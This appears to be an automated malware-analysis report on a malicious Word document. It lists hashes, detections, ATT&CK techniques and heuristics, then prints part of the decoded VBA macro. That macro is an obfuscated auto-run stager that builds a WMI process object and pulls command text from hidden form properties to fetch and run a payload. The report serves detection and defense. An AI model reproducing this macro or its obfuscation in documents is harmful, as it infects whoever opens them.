Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 28e2370e9e198303…

MALICIOUS

Office (OLE)

173.5 KB Created: 2020-08-18 22:46:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1c11fbbb390b79e2ac9a61120b8b4c47 SHA-1: ed7b33e13ad431331b1bcb166a01ead93f17b062 SHA-256: 28e2370e9e198303d7eeb6bd96a4f55ec321c5bf45fcb74f7de1cabf1fe9ea4a
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is designed to auto-execute upon opening, utilizing a hidden UserForm property to stage commands. This suggests the primary purpose is to download and execute a secondary payload from a remote source, a common technique for malware distribution. The ClamAV detection name 'Doc.Malware.Sagent-9376861-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9376861-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9376861-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10943 bytes
SHA-256: 2fc10c51b8b047920a23d17ba9690390d4e1b10b34234c75df492b3fac296193
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tddv74b8s6_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Fjis9hiu80o_pqs.Lfpsx75hdmebc
End Sub


Attribute VB_Name = "Fjis9hiu80o_pqs"
Attribute VB_Base = "0{88A04999-9798-474B-8B29-CA2A2232BB91}{DC2B2AD2-672E-4296-A6E7-9A08F60E33DD}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Lfpsx75hdmebc()
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 379
Ogkdx_od2uyngh5kl = 934
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Wm_7w70taqjc = F9amqxgtedx
Kor76ghz91x = Fjis9hiu80o_pqs.HelpContextId + 50 + 50
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 792
Ogkdx_od2uyngh5kl = 408
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Fmz995d_1q7 = F9amqxgtedx
J8nghqypwacrnzunyl = ChrW(Kor76ghz91x + (15))
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 825
Ogkdx_od2uyngh5kl = 117
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
O4t7gkfv3g_3nc = F9amqxgtedx
Pk04tjzp23q_knba32 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + J8nghqypwacrnzunyl + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Fjis9hiu80o_pqs.L2ujc2egz1oh + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 526
Ogkdx_od2uyngh5kl = 313
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Atusvvyfevpnolf = F9amqxgtedx
Hd4tl2l7eog = Ebon9bp68i4(Pk04tjzp23q_knba32)
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 954
Ogkdx_od2uyngh5kl = 218
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
Il76b694zg4a = F9amqxgtedx
Set Mqhtkiitp60i = CreateObject(Hd4tl2l7eog)
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Next Crsuoefcswrrrhat
F9amqxgtedx = 876
Ogkdx_od2uyngh5kl = 34
F9amqxgtedx = F9amqxgtedx + Ogkdx_od2uyngh5kl
O3vgl5393hho = F9amqxgtedx
Nvec9kud9hvhc5kd = Fjis9hiu80o_pqs.Tw2vrcyld3rydvigj.ControlTipText
   For Crsuoefcswrrrhat = 5 To 62
DoEvents
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7ul9f9yx6oo9))
Debug.Print (CStr(Qnw4iap3l_3yu0j6) & CStr(E7u
... (truncated)